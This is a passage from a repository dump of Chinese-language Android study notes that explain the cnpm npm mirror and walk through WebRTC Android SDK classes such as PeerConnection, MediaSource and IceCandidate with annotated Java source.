    "content": "> 在国内使用npm是非常慢的，但是我们可以使用淘宝的镜像cnpm。\n\n这个镜像，是一个完整的，同步镜像，所以我们可以完全使用cnpm来代替npm。\n\n----\n安装npm：\n````\n$ npm install -g cnpm --registry=https://registry.npm.taobao.org\n````\n之后就可以在使用npm的时候，用cnpm来替代了。\n\n````\n$ cnpm install [name]\n````\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC-Android源码解析.md",
    "content": "> 博主本人目前在一家做流媒体的公司里面实习，虽然我本人就是一个苦逼的搞Android应用层开发的boy，但是本着干一行爱一行的心态，准备好好钻研一下WebRTC的源码。\n\n目前博主打算先对WebRTC-Android-sdk进行解析，目前不会涉及到底层C++的知识。\n\n由于博主每天也有很多工作要做，基本上也得10-8-6吧，所以可能不会有特别大量的时间用在源码的阅读与解析上面，但是只要一有时间我就会总结一下这些源码的，争取能够做到日更，或者两天更新一次吧。\n\n## WebRTC入门\n- [WebRTC入门](http://www.jianshu.com/p/1f173ef8664f)\n\n## WebRTC-Android-sdk源码解析\n- [PeerConnectionFactory](http://www.jianshu.com/p/57f690413fe8)\n\n- [PeerConnection](http://www.jianshu.com/p/acb230c020eb)\n\n- [MediaSource](http://www.jianshu.com/p/dbbeb030cf16)\n\n- [AudioSource、VideoSource](http://www.jianshu.com/p/bca301fff046)\n\n- [MediaStreamTrack](http://www.jianshu.com/p/9ad24ca4354f)\n\n- [AudioTrack、VideoTrack](http://www.jianshu.com/p/f33d403b374f)\n\n- [AudioRenderer](http://www.jianshu.com/p/dad0d14a3392)\n\n- [VideoRenderer](http://www.jianshu.com/p/428dec590721)\n\n- [VideoFileRenderer](http://www.jianshu.com/p/e3d7d71522ee)\n\n- [IceCandidate、SdpObserver、CameraSession](http://www.jianshu.com/p/2ad790626e02)\n\n- VideoRendererGui\n\n- VideoCapturer\n\n- VideoCapturerAndroid\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——Android入门.md",
    "content": "> 最近一直在研究WebRTC相关的知识，学习了P2P的链接建立的方式实现了两台终端的互联。也学习了经过服务器中转的广播的工作的模式。最后自己实现了一个经过服务器中转的多人通信的语音的demo。\n\n[WebRTC官方网站](https://webrtc.org/)\n\n----\n\n#WebRTC是什么\nWebRTC is a free, open project that provides browsers and mobile applications with Real-Time Communications (RTC) capabilities via simple APIs. The WebRTC components have been optimized to best serve this purpose.  \n\nOur mission: To enable rich, high-quality RTC applications to be developed for the browser, mobile platforms, and IoT devices, and allow them all to communicate via a common set of protocols.\n\nThe WebRTC initiative is a project supported by Google, Mozilla and Opera, amongst others. This page is maintained by the Google Chrome team.\n\n以上内容是官网的简介，简单的说WebRTC是一个免费的，开源的，提供在浏览器和手机等终端之间的实时通信的协议。它提供很多渠道和简单的API。rtc团队的最大的愿望就是提供最好的服务给我们。\n\n我们的使命：使更大量、高效的rtc的应用被开发出来给浏览器，手机等平台和更多的设备，使他们之间沟通通过这个协议。\n\nrtc是由谷歌、火狐、欧朋甚至更多共同支持的，目前主要由谷歌的团队来维护。\n\n----\n\n#WebRTC所需要的三个服务器\n> 虽然rtc可以实现端对端通信，也可以实现利用服务器中转的通信，但是它并没有我们想象中的那么 简单，我们需要有三个服务器来维护我们的通信的过程\n\n- 房间服务器(Room Server)\n房间服务器是一个用来创建和维护我们通话状态的服务器，可以通过http协议进行通信，我们在加入房间和离开房间等过程，需要用到这个服务器，这个服务器可以将信令的配置信息告诉本地\n\n- 信令服务器(Signaling Server)\n信令服务器是用来管理和协助通话终端建立点对点通话的工作\n  1.  用来控制通信发起或者结束的链接控制信息\n  2. 当发生异常时会进行转发\n  3. 各自一方媒体流元数据，可以是一些流编码与解码等功能\n  4. 可以使各个终端之间建立安全的链接\n  5. 提供外界所能看到的网络上的数据，例如广域网上面的IP地址、端口等\n\n- 防火墙打洞服务器(STUN/TURN/ICE Server)\n我们大部分人在互联网中都处在防火墙后面或者处在私有子网的路由器的后面，这样导致我们的终端的IP地址并不是广域网中的IP地址，所以导致我们不能直接进行通信，所以我们需要一个穿越防火墙或者路由(NAT)路由器，让两个同时处在私有网络中的计算机能够通讯起来。\n  1. STUN协议可以解决家用(NAT)路由器环境的打洞问题，但是对于大部分企业网络环境不是很好\n  2. TURN协议可以很好的弥补STUN的不足\n  3. ICE协议是结合了以上两种的综合性的解决方案，是通过offer/answer模型建立基于UDP的通讯。ICE是offer/answer模型的扩展，通过在offer和answer的SDP(Session Description Protocol)里面包含多种IP地址和端口，然后对本地SDP和远程SDP里面的IP地址进行配对，然后通过P2P连通性检查进行连通性测试工作，如果测试通过即表明该传输地址对可以建立连接。其中IP地址和端口（也就是地址）有以下几种：本机地址、通过STUN服务器反射后获取的server-reflexive地址（内网地址被NAT映射后的地址）、relayed地址（和TURN转发服务器相对应的地址）及Peer reflexive地址等。\n\n----\n#WebRTC的使用\n\n###简介\n其实WebRTC是在全平台提供较为类似的接口的，逻辑更是完全一样，所以做别的开发的，也可以了解一下这个流程。\n\n这里介绍的是经过服务器中转的多端语音的大概的流程：\n\n首先说一下，为什么目前我只做了语音，因为经过服务器中转之后，每个终端需要做的事情其实很简单，就是将本地的视频流或者语音流进行上传，然后接收来自远端的流，在上传方面语音流和视频流并没有什么区别但是涉及到接收的时候，语音流和视频流就有了区别，因为语音流，即使是再多我们也可以只接收一个，因为语音流是非常容易合并在一起的，我们可以在服务端做一个语音流合并的操作，所以我们每一个终端只需要接收一个流就可以，但是视频流不可以这么做，我们需要同时维护多个视频流。\n###流程\n假设我们现在具有多个终端和一个服务器，想要通信，那么我们只要所有的终端都做同一件事情就可以，那就是上传本地流，接收服务器的流，就可以了。\n\n假设我们想要实现客户端A和服务器之间的通信：\n\n1.我们需要在我们的RoomServer上面获取token\n2.我们需要建立本地的PeerConnertion\n3.创建本地流createAudioTrack(将本地流创建，这个流就是我们之后要上传用到的流)\n4.创建会话描述createOffer(SDP)，sdp是一个会话描述，它包含着我们通信的标准\n\n````\n\nv=0                                                                              \n\no=carol 28908764872 28908764872 IN IP4 100.3.6.6        //会话ID号和版本\n\ns=-                                     //用于传递会话主题\n\nt=0 0                                   //会话时间，一般由其它信令消息控制，因此填0\n\nc=IN IP4 192.0.2.4              //描述本端将用于传输媒体流的IP\n\nm=audio 0 RTP/AVP 0 1 3     //媒体类型 端口号 本端媒体使用的编码标识（Payload）集\n\na=rtpmap:0 PCMU/8000 //rtpmap映射表，各种编码详细描述参数，包括使用带宽（bandwidth）\n\na=rtpmap:1 1016/8000\n\na=rtpmap:3 GSM/8000\n\na=sendonly     //说明本端媒体流的方向，取值包括sendonly/recvonly/sendrecv/inactive\n\na=ptime:20                           //说明媒体流打包时长\n\nm=video 0 RTP/AVP 31 34\n\na=rtpmap:31 H261/90000\n\na=rtpmap:34 H263/90000\n\n````\n以上只是一个简单的sdp的例子，供大家参考\n\n5.将会话描述设置在本地(setLocalDescription)\n6.将offer发送给服务器\n7.收到answer，这个就是远程流的标准\n8.将远程流的标准设置在远程流标准上面setRemoteDescription\n9.我们第二步初始化PeerConnection的时候会产生一个回调，系统会自动为我们收集candidate，candidate是我们在公网中的位置信息，以及服务器到我们的多种较优的路径，我们要将这个信息发送给服务端\n\n这时我们的链接已经建立完成了，我们便可以将本地的流发送到服务器，也可以下载到服务器的流了。就可以实现多端的通信了。\n\n\n\n![效果图](http://upload-images.jianshu.io/upload_images/2585384-4ce95d755c5e0d56.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n\n###主要代码        \n\n````\n初始化PeerConnectionFactory\n\nprivate PeerConnectionFactory peerConnectionFactory;\nif (!PeerConnectionFactory.initializeAndroidGlobals(_context,true,false,false)){\n            Log.i(\"lin\",\"---*lin*--->   initInternal    error   \");\n            userListener.onError();\n            return;\n        }\npeerConnectionFactory = new PeerConnectionFactory();\n````\n\n````\n初始化PeerConnection\n\nPeerConnection peerConnection = peerConnectionFactory.createPeerConnection(configuration,constraints,peer);\n\n//具有的方法\npeerConnection.createOffer(SdpObserver var1, MediaConstraints var2);\n\npeerConnection.createAnswer(SdpObserver var1, MediaConstraints var2);\n\npeerConnection.createOffer(SdpObserver var1, MediaConstraints var2);\n\npeerConnection.setRemoteDescription(SdpObserver var1, SessionDescription var2);\n\npeerConnection.updateIce(List<PeerConnection.IceServer> var1, MediaConstraints var2);\n\npeerConnection.addIceCandidate(IceCandidate candidate);\n\npeerConnection.removeStream(MediaStream stream) ;\n\npeerConnection.getStats(StatsObserver observer, MediaStreamTrack track) ;\n\n//以上方法都是有回调的\n````\n\n\n\n````\n本地流的初始化\n\nprivate MediaStream localStream;\nlocalStream = peerConnectionFactory.createLocalMediaStream(\"ARDAMS\");\naudioSource =  peerConnectionFactory.createAudioSource(new AudioMediaConstrains());\nlocalAudioTrack =  peerConnectionFactory.createAudioTrack(\"ARDAMSa0\", audioSource);\nlocalAudioTrack.setEnabled(true);\nlocalPeer.addLocalStream(localStream);\n````\n\n[源码链接](https://github.com/linsir6/WebRTC-Voice)\n\n以上便是根据最近看到的所总结的东西吧。\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——AudioRenderer解析.md",
    "content": "> AudioRenderer是Audio的渲染类，负责音频的渲染\n\n```\npublic static class AudioFrame {\n        public byte[] audio_data;    //音频数据\n        public int bits_per_sample;    //bit音频的示例\n        public int sample_rate;    //示例比特率\n        public int number_of_channels;     //声道的数量\n        public int number_of_frames;    //帧的数量\n\n         //构造方法\n        public AudioFrame(byte[] audio_data, int bits_per_sample, int sample_rate, int number_of_channels, int number_of_frames) {\n            this.audio_data = audio_data;\n            this.sample_rate = sample_rate;\n            this.bits_per_sample = bits_per_sample;\n            this.number_of_channels = number_of_channels;\n            this.number_of_frames = number_of_frames;\n        }\n    }\n```\n\n```\n//回调接口，当有音频帧的时候产生回调用的\npublic static interface Callbacks {\n        public void onAudioFrame(AudioFrame frame);\n    }\n```\n\n```\nlong nativeAudioRenderer;\n//创建AudioRenderer\npublic AudioRenderer(Callbacks callbacks) {\n    nativeAudioRenderer = nativeWrapAudioRenderer(callbacks);\n}\nprivate static native long nativeWrapAudioRenderer(Callbacks callbacks);\n\n```\n\n```\n/销毁掉audioRenderer\npublic void dispose() {\n        if (nativeAudioRenderer == 0) {\n            return;\n        }\n        // todo  free native audio renderer\n        nativeAudioRenderer = 0;\n    }\n```\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——AudioSource、VideoSource解析.md",
    "content": "> AudioSource和VideoSource都是MediaSource的子类，它们同样是包裹在C++外的一层，它们的功能是承载一个或多个AudioTrack/VideoTrack。\n\n```\n//AudioSource完全继承了父类，并没有任何的重写\npublic class AudioSource extends MediaSource {\n  public AudioSource(long nativeSource) {\n    super(nativeSource);\n  }\n}\n```\n\n```\n//同样是继承了父类的所有的方法，但是新增了一个方法是，适应外界输出的分辨率\npublic VideoSource(long nativeSource) {\n    super(nativeSource);\n  }\n\n  /**\n   * Calling this function will cause frames to be scaled down to the requested resolution. Also,\n   * frames will be cropped to match the requested aspect ratio, and frames will be dropped to match\n   * the requested fps. The requested aspect ratio is orientation agnostic and will be adjusted to\n   * maintain the input orientation, so it doesn't matter if e.g. 1280x720 or 720x1280 is requested.\n   */\n  public void adaptOutputFormat(int width, int height, int fps) {\n    nativeAdaptOutputFormat(nativeSource, width, height, fps);\n  }\n\n  private static native void nativeAdaptOutputFormat(\n      long nativeSource, int width, int height, int fps);\n```\n\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——AudioTrack-VideoTrack解析.md",
    "content": "> AudioTrack是MediaStreamTrack的一个子类，负责音频的调节。\nVideoTrack和Audio几乎完全一样，只是多了一个free的方法，然后添加的Renderer的类型不一样。\n\n```\n  //一个list里面存的是音频的渲染器\n  private final LinkedList<AudioRenderer> renderers = new LinkedList<AudioRenderer>();\n```\n\n```\n //构造方法\n public AudioTrack(long nativeTrack) {\n    super(nativeTrack);\n  }\n```\n\n```\n  //添加音频渲染器，与去除音频渲染器\n  public void addRenderer(AudioRenderer renderer){\n      renderers.add(renderer);\n      nativeAddRenderer(nativeTrack, renderer.nativeAudioRenderer);\n  }\n\n  public void removeRenderer(AudioRenderer renderer){\n      if(!renderers.remove(renderer)){\n          return;\n      }\n      nativeRemoveRenderer(nativeTrack,renderer.nativeAudioRenderer);\n      renderer.dispose();\n  }\n\n  private static native void nativeAddRenderer(long nativeTrack, long nativeRenderer);\n  private static native void nativeRemoveRenderer(long nativeTrack, long nativeRenderer);\n\n```\n\n```\n  //释放掉AudioTrack\n  public void dispose(){\n      while (!renderers.isEmpty()) {\n          removeRenderer(renderers.getFirst());\n      }\n      super.dispose();\n  }\n```\n\n```\n  //方法含义同AudioTrack\n  private final LinkedList<VideoRenderer> renderers = new LinkedList<VideoRenderer>();\n\n  public VideoTrack(long nativeTrack) {\n    super(nativeTrack);\n  }\n\n  public void addRenderer(VideoRenderer renderer) {\n    renderers.add(renderer);\n    nativeAddRenderer(nativeTrack, renderer.nativeVideoRenderer);\n  }\n\n  public void removeRenderer(VideoRenderer renderer) {\n    if (!renderers.remove(renderer)) {\n      return;\n    }\n    nativeRemoveRenderer(nativeTrack, renderer.nativeVideoRenderer);\n    renderer.dispose();\n  }\n\n  public void dispose() {\n    while (!renderers.isEmpty()) {\n      removeRenderer(renderers.getFirst());\n    }\n    super.dispose();\n  }\n\n  private static native void free(long nativeTrack);\n\n  private static native void nativeAddRenderer(long nativeTrack, long nativeRenderer);\n\n  private static native void nativeRemoveRenderer(long nativeTrack, long nativeRenderer);\n```\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——IceCandidate、SdpObserver、CameraSession解析.md",
    "content": "> IceCandidate是一个模板类，里面主要包含着会话描述协议。\n\n```\npublic class IceCandidate {\n  public final String sdpMid;//描述协议的id\n  public final int sdpMLineIndex;//描述协议的行索引\n  public final String sdp;//会话描述协议\n\n  public IceCandidate(String sdpMid, int sdpMLineIndex, String sdp) {\n    this.sdpMid = sdpMid;\n    this.sdpMLineIndex = sdpMLineIndex;\n    this.sdp = sdp;\n  }\n\n  public String toString() {\n    return sdpMid + \":\" + sdpMLineIndex + \":\" + sdp;\n  }\n}\n```\n\n----\n\n> SdpObserver是来回调sdp是否创建(offer,answer)成功，是否设置描述成功(local,remote）的一个接口。\n\n```\n /** Called on success of Create{Offer,Answer}(). */\n  public void onCreateSuccess(SessionDescription sdp);\n\n  /** Called on success of Set{Local,Remote}Description(). */\n  public void onSetSuccess();\n\n  /** Called on error of Create{Offer,Answer}(). */\n  public void onCreateFailure(String error);\n\n  /** Called on error of Set{Local,Remote}Description(). */\n  public void onSetFailure(String error);\n```\n----\n\n> CameraSession是用来回调相机信息的一个接口\n\n```\npublic interface CreateSessionCallback {//创建相机描述的回调\n    void onDone(CameraSession session);//成功\n    void onFailure(String error);//不成功\n  }\n```\n\n```\npublic interface Events {\n    void onCameraOpening();//当相机打开\n    void onCameraError(CameraSession session, String error);//相机发生故障\n    void onCameraDisconnected(CameraSession session);//断开连接\n    void onCameraClosed(CameraSession session);//关闭\n    void onByteBufferFrameCaptured(\n        CameraSession session, byte[] data, int width, int height, int rotation, long timestamp);\n    void onTextureFrameCaptured(CameraSession session, int width, int height, int oesTextureId,\n        float[] transformMatrix, int rotation, long timestamp);\n  }\n```\n\n```\nvoid stop();//回调到相机停止工作\n```\n----\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——MediaSource-java解析.md",
    "content": "> MediaSource是AudioSource和VideoSource的基类，它里面定义了一些方法，供子类继承。\n它是一层包裹在C++外面的一层，C++里面也是有MediaSource的。\n\n```\n  //一个媒体资源类具有以下四个状态，初始化中，工作中，结束，消音/消去视频  \n  public enum State { INITIALIZING, LIVE, ENDED, MUTED }\n```\n\n```\n  创建时需要传进来一个nativeSource\n  final long nativeSource; // Package-protected for PeerConnectionFactory.\n\n  public MediaSource(long nativeSource) {\n    this.nativeSource = nativeSource;\n  }\n```\n\n```\n  //获取当前的状态，通过调用native层方法获取到\n  public State state() {\n    return nativeState(nativeSource);\n  }\n```\n\n```\n  //销毁当前的媒体资源\n  public void dispose() {\n    free(nativeSource);\n  }\n```\n\n```\n  //两个native层的方法，用来获取状态和释放资源的\n  private static native State nativeState(long pointer);\n\n  private static native void free(long nativeSource);\n```\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——MeidaStreamTrack解析.md",
    "content": "> MeidaStreamTrack是媒体流的一部分\n\n```\n  //它的两种状态分别是工作状态和结束状态\n  public enum State { LIVE, ENDED }\n```\n\n```\n  // 构造方法，在创建MediaStream的时候，需要传入一个nativeTrack\n  final long nativeTrack;\n\n  public MediaStreamTrack(long nativeTrack) {\n    this.nativeTrack = nativeTrack;\n  }\n```\n\n```\n  //这里面的方法和native层的方法是一一对应的\n  //获取Id  \n  public String id() {\n    return nativeId(nativeTrack);\n  }\n  \n  //获取类别\n  public String kind() {\n    return nativeKind(nativeTrack);\n  }\n\n  //获取是否被mute \n  public boolean enabled() {\n    return nativeEnabled(nativeTrack);\n  }\n\n  //mute或者取消\n  public boolean setEnabled(boolean enable) {\n    return nativeSetEnabled(nativeTrack, enable);\n  }\n\n  //获取当前的状态\n  public State state() {\n    return nativeState(nativeTrack);\n  }\n\n  //释放掉\n  public void dispose() {\n    free(nativeTrack);\n  }\n\n  private static native String nativeId(long nativeTrack);\n\n  private static native String nativeKind(long nativeTrack);\n\n  private static native boolean nativeEnabled(long nativeTrack);\n\n  private static native boolean nativeSetEnabled(long nativeTrack, boolean enabled);\n\n  private static native State nativeState(long nativeTrack);\n\n  private static native void free(long nativeTrack);\n\n```\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——PeerConnection-java解析.md",
    "content": "> PeerConnection是一个Java层面的API，它的内层包裹着c++的代码，它需要调用c++层面的代码。\n它同时也是rtc-Android-sdk中尤为重要的几个类，推荐新入门的同学，可以从这里面入手。\n\n```\n//需要在类刚开始初始化的时候，便引入so包，这个so包就是我们用c++缩写\n static {\n    System.loadLibrary(\"jingle_peerconnection_so\");\n }\n```\n\n```\n//Ice：Input Checking Equipment 输入校验设备, 输入校正装置\n//检验设备的一些信息的收集状态，开始，收集中，完成\n public enum IceGatheringState { NEW, GATHERING, COMPLETE }\n```\n\n```\n//链接的状态\npublic enum IceConnectionState {\n    NEW,\n    CHECKING,\n    CONNECTED,\n    COMPLETED,\n    FAILED,\n    DISCONNECTED,\n    CLOSED\n  }\n```\n\n```\n//信号声明\npublic enum SignalingState {\n    STABLE,    //稳定的\n    HAVE_LOCAL_OFFER,    //有本地offer\n    HAVE_LOCAL_PRANSWER,    //有远程answer\n    HAVE_REMOTE_OFFER,    //有远程offer\n    HAVE_REMOTE_PRANSWER,    //有远程answer\n    CLOSED    //关闭\n  }\n```\n\n```\n  //用来回调的接口，用来监听流发生的改变\n  public static interface Observer {\n\n    /** Triggered when the SignalingState changes. */\n    public void onSignalingChange(SignalingState newState);\n\n    /** Triggered when the IceConnectionState changes. */\n    public void onIceConnectionChange(IceConnectionState newState);\n\n    /** Triggered when the ICE connection receiving status changes. */\n    public void onIceConnectionReceivingChange(boolean receiving);\n\n    /** Triggered when the IceGatheringState changes. */\n    public void onIceGatheringChange(IceGatheringState newState);\n\n    /** Triggered when a new ICE candidate has been found. */\n    public void onIceCandidate(IceCandidate candidate);\n\n    /** Triggered when some ICE candidates have been removed. */\n    public void onIceCandidatesRemoved(IceCandidate[] candidates);\n\n    /** Triggered when media is received on a new stream from remote peer. */\n    public void onAddStream(MediaStream stream);\n\n    /** Triggered when a remote peer close a stream. */\n    public void onRemoveStream(MediaStream stream);\n\n    /** Triggered when a remote peer opens a DataChannel. */\n    public void onDataChannel(DataChannel dataChannel);\n\n    /** Triggered when renegotiation is necessary. */\n    public void onRenegotiationNeeded();\n  }\n\n```\n\n```\n//一个对象IceServer里面包含的是三个属性，这个对象通常是在加入房间时被调用的，我们也就是通过这个加入的聊天服务器里面的房间\npublic static class IceServer {\n    public final String uri;\n    public final String username;\n    public final String password;\n\n    /** Convenience constructor for STUN servers. */\n    public IceServer(String uri) {\n      this(uri, \"\", \"\");\n    }\n\n    public IceServer(String uri, String username, String password) {\n      this.uri = uri;\n      this.username = username;\n      this.password = password;\n    }\n\n    public String toString() {\n      return uri + \"[\" + username + \":\" + password + \"]\";\n    }\n  }\n```\n\n```\n//ice的运送的方式\npublic enum IceTransportsType { NONE, RELAY, NOHOST, ALL }\n```\n\n```\n//捆绑的策略，平衡，最大程序捆绑，最大程度兼容\npublic enum BundlePolicy { BALANCED, MAXBUNDLE, MAXCOMPAT }\n```\n\n```\n//谈判、无资格的\npublic enum RtcpMuxPolicy { NEGOTIATE, REQUIRE }\n```\n\n```\n//tcp候选人的策略,激活，有缺陷的\npublic enum TcpCandidatePolicy { ENABLED, DISABLED }\n```\n\n```\n//候选人网络策略，全部，最低的成本\npublic enum CandidateNetworkPolicy { ALL, LOW_COST }\n```\n\n```\n秘钥加密的类型\npublic enum KeyType { RSA, ECDSA }\n```\n\n```\n不断的收集策略，收集一次，不间断的收集\npublic enum ContinualGatheringPolicy { GATHER_ONCE, GATHER_CONTINUALLY }\n```\n\n```\n/**\n  *这个一个类，里面有很多属性，这些属性，大多都是上面刚刚定义过的属性，当我们创建PeerConnection的时候，\n  *这些都是要被设置的，它的构造方法里面需要接受iceSercers，这个里面就包含了许多和我们配置相关的信息\npublic static class RTCConfiguration {\n    public IceTransportsType iceTransportsType;\n    public List<IceServer> iceServers;\n    public BundlePolicy bundlePolicy;\n    public RtcpMuxPolicy rtcpMuxPolicy;\n    public TcpCandidatePolicy tcpCandidatePolicy;\n    public CandidateNetworkPolicy candidateNetworkPolicy;\n    public int audioJitterBufferMaxPackets;\n    public boolean audioJitterBufferFastAccelerate;\n    public int iceConnectionReceivingTimeout;\n    public int iceBackupCandidatePairPingInterval;\n    public KeyType keyType;\n    public ContinualGatheringPolicy continualGatheringPolicy;\n    public int iceCandidatePoolSize;\n    public boolean pruneTurnPorts;\n    public boolean presumeWritableWhenFullyRelayed;\n\n    public RTCConfiguration(List<IceServer> iceServers) {\n      iceTransportsType = IceTransportsType.ALL;\n      bundlePolicy = BundlePolicy.BALANCED;\n      rtcpMuxPolicy = RtcpMuxPolicy.NEGOTIATE;\n      tcpCandidatePolicy = TcpCandidatePolicy.ENABLED;\n      candidateNetworkPolicy = candidateNetworkPolicy.ALL;\n      this.iceServers = iceServers;\n      audioJitterBufferMaxPackets = 50;\n      audioJitterBufferFastAccelerate = false;\n      iceConnectionReceivingTimeout = -1;\n      iceBackupCandidatePairPingInterval = -1;\n      keyType = KeyType.ECDSA;\n      continualGatheringPolicy = ContinualGatheringPolicy.GATHER_ONCE;\n      iceCandidatePoolSize = 0;\n      pruneTurnPorts = false;\n      presumeWritableWhenFullyRelayed = false;\n    }\n  };\n```\n\n```\n//记录媒体流，发送者，和接受者，还有就是jni层的链接和观察者\n  private final List<MediaStream> localStreams;\n  private final long nativePeerConnection;\n  private final long nativeObserver;\n  private List<RtpSender> senders;\n  private List<RtpReceiver> receivers;\n```\n\n```\n//构造方法，需要传入一个Connection，还有就是一个回调的接口\n  PeerConnection(long nativePeerConnection, long nativeObserver) {\n    this.nativePeerConnection = nativePeerConnection;\n    this.nativeObserver = nativeObserver;\n    localStreams = new LinkedList<MediaStream>();\n    senders = new LinkedList<RtpSender>();\n    receivers = new LinkedList<RtpReceiver>();\n  }\n```\n\n```\n//JSEP（JavaScript Session Establishment Protocol，JavaScript 会话建立协议）\n//以下便都是和底层C代码的交互部分了，这里面的方法尤为重要\n//这里的方法都是，我们调用，然后传入callback等待结果\n//createOffer,createAnswer,setLocalDescription,setRemoteDescription都是rtc最基本的函数之一\n  public native SessionDescription getLocalDescription();\n\n  public native SessionDescription getRemoteDescription();\n\n  public native DataChannel createDataChannel(String label, DataChannel.Init init);\n\n  public native void createOffer(SdpObserver observer, MediaConstraints constraints);\n\n  public native void createAnswer(SdpObserver observer, MediaConstraints constraints);\n\n  public native void setLocalDescription(SdpObserver observer, SessionDescription sdp);\n\n  public native void setRemoteDescription(SdpObserver observer, SessionDescription sdp);\n\n  public native boolean setConfiguration(RTCConfiguration config);\n```\n\n```\n//添加和删除对端的描述\npublic boolean addIceCandidate(IceCandidate candidate) {\n    return nativeAddIceCandidate(candidate.sdpMid, candidate.sdpMLineIndex, candidate.sdp);\n  }\n\n  public boolean removeIceCandidates(final IceCandidate[] candidates) {\n    return nativeRemoveIceCandidates(candidates);\n  }\n```\n\n```\n//添加和删除本地的流\npublic boolean addStream(MediaStream stream) {\n    boolean ret = nativeAddLocalStream(stream.nativeStream);\n    if (!ret) {\n      return false;\n    }\n    localStreams.add(stream);\n    return true;\n  }\n\n  public void removeStream(MediaStream stream) {\n    nativeRemoveLocalStream(stream.nativeStream);\n    localStreams.remove(stream);\n  }\n```\n\n```\n//添加和获取发送者的信息，例如音量信息，网速的信息都可以从中获得\npublic RtpSender createSender(String kind, String stream_id) {\n    RtpSender new_sender = nativeCreateSender(kind, stream_id);\n    if (new_sender != null) {\n      senders.add(new_sender);\n    }\n    return new_sender;\n  }\n\n  // Note that calling getSenders will dispose of the senders previously\n  // returned (and same goes for getReceivers).\n  public List<RtpSender> getSenders() {\n    for (RtpSender sender : senders) {\n      sender.dispose();\n    }\n    senders = nativeGetSenders();\n    return Collections.unmodifiableList(senders);\n  }\n```\n\n```\n//获取状态，在这里面可以获取到trak的状态\npublic boolean getStats(StatsObserver observer, MediaStreamTrack track) {\n    return nativeGetStats(observer, (track == null) ? 0 : track.nativeTrack);\n  }\n```\n\n```\n // Starts recording an RTC event log. Ownership of the file is transfered to\n  // the native code. If an RTC event log is already being recorded, it will be\n  // stopped and a new one will start using the provided file. Logging will\n  // continue until the stopRtcEventLog function is called. The max_size_bytes\n  // argument is ignored, it is added for future use.\n  public boolean startRtcEventLog(int file_descriptor, int max_size_bytes) {\n    return nativeStartRtcEventLog(file_descriptor, max_size_bytes);\n  }\n\n// Stops recording an RTC event log. If no RTC event log is currently being\n  // recorded, this call will have no effect.\n  public void stopRtcEventLog() {\n    nativeStopRtcEventLog();\n  }\n```\n\n```\n  //这里面都是jni层面的代码，这些方法可以获取一些状态\n  public native SignalingState signalingState();\n\n  public native IceConnectionState iceConnectionState();\n\n  public native IceGatheringState iceGatheringState();\n\n  public native void close();\n```\n\n```\n//dispose掉当前的这些流，实现清空当前PeerConnection的作用\npublic void dispose() {\n    close();\n    for (MediaStream stream : localStreams) {\n      nativeRemoveLocalStream(stream.nativeStream);\n      stream.dispose();\n    }\n    localStreams.clear();\n    for (RtpSender sender : senders) {\n      sender.dispose();\n    }\n    senders.clear();\n    for (RtpReceiver receiver : receivers) {\n      receiver.dispose();\n    }\n    receivers.clear();\n    freePeerConnection(nativePeerConnection);\n    freeObserver(nativeObserver);\n  }\n```\n\n```\n//JNI层面的代码，供sdk内部调用的，我们调用的很多sdk层面的代码，然后它们调用这些代码\n\n  private static native void freePeerConnection(long nativePeerConnection);\n\n  private static native void freeObserver(long nativeObserver);\n\n  private native boolean nativeAddIceCandidate(\n      String sdpMid, int sdpMLineIndex, String iceCandidateSdp);\n\n  private native boolean nativeRemoveIceCandidates(final IceCandidate[] candidates);\n\n  private native boolean nativeAddLocalStream(long nativeStream);\n\n  private native void nativeRemoveLocalStream(long nativeStream);\n\n  private native boolean nativeGetStats(StatsObserver observer, long nativeTrack);\n\n  private native RtpSender nativeCreateSender(String kind, String stream_id);\n\n  private native List<RtpSender> nativeGetSenders();\n\n  private native List<RtpReceiver> nativeGetReceivers();\n\n  private native boolean nativeStartRtcEventLog(int file_descriptor, int max_size_bytes);\n\n  private native void nativeStopRtcEventLog();\n```\n\n\n\n----\n以上便是，我对PeerConnection源码的解析，转载请注明出处:[linsir.top](linsir.top)，我的[gitHub地址](https://github.com/linsir6)，欢迎star，follow~\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——PeerConnectionFactory-java解析.md",
    "content": "> PeerConnectionFactory一个用来生成PeerConnection的工厂类，WebRTC中最重要的类之一，用来创建peerConnection的类，同时负责初始化全局和底层交互。\n\n```\n//引用so包\nstatic {\n    System.loadLibrary(\"jingle_peerconnection_so\");\n}\n```\n\n```\n  public static class Options {\n    // Keep in sync with webrtc/base/network.h!\n    //未知\n    static final int ADAPTER_TYPE_UNKNOWN = 0;\n    //以太网\n    static final int ADAPTER_TYPE_ETHERNET = 1 << 0;\n    //WIFI\n    static final int ADAPTER_TYPE_WIFI = 1 << 1;\n    //移动网络\n    static final int ADAPTER_TYPE_CELLULAR = 1 << 2;\n    //vpn\n    static final int ADAPTER_TYPE_VPN = 1 << 3;\n    //回环  \n    static final int ADAPTER_TYPE_LOOPBACK = 1 << 4;\n    //网络忽略\n    public int networkIgnoreMask;\n    //解码器\n    public boolean disableEncryption;\n    //网络监控\n    public boolean disableNetworkMonitor;\n  }\n```\n\n```\n  //native层初始化全局，如果初始化成功会返回TRUE,否则返回FALSE\n  public static native boolean initializeAndroidGlobals(Object context, boolean initializeAudio,\n      boolean initializeVideo, boolean videoHwAcceleration);\n\n  // Field trial initialization. Must be called before PeerConnectionFactory\n  // is created.\n  //一个初始化工作，应该在创建Factory创建之前\n  public static native void initializeFieldTrials(String fieldTrialsInitString);\n\n \n  // Internal tracing initialization. Must be called before PeerConnectionFactory is created to\n  // prevent racing with tracing code.\n  //初始化内部描述\n  public static native void initializeInternalTracer();\n  // Internal tracing shutdown, called to prevent resource leaks. Must be called after\n  // PeerConnectionFactory is gone to prevent races with code performing tracing.\n\n  